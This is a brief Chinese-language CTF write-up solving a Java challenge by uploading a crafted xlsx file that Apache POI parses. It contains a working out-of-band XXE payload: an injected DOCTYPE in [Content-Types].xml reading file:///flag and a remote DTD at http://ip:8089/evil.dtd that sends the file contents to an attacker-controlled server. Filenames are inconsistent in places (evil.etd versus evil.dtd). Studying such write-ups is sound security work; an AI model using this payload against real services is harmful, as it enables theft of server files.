前言
一篇文章讀懂Java代碼審計之XXE看過我這篇博客應該不難,沒看過建議在看看。
題解
下載了所有的class發現需要上傳xlsx poi
開頭必須是execl
-
新建execl
-1.xlsx文件,修改後綴名execl
-1.xlsx.zip解壓。
-
修改[Content-Types].xml
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://ip:8089/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
-
重新打包成
excel-1.xlsx
,文件名一定不能錯。 -
在服務器上新建一個
evil.etd
文件。
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:8089/%file;'>">
- 然後直接上傳,查看服務器http記錄。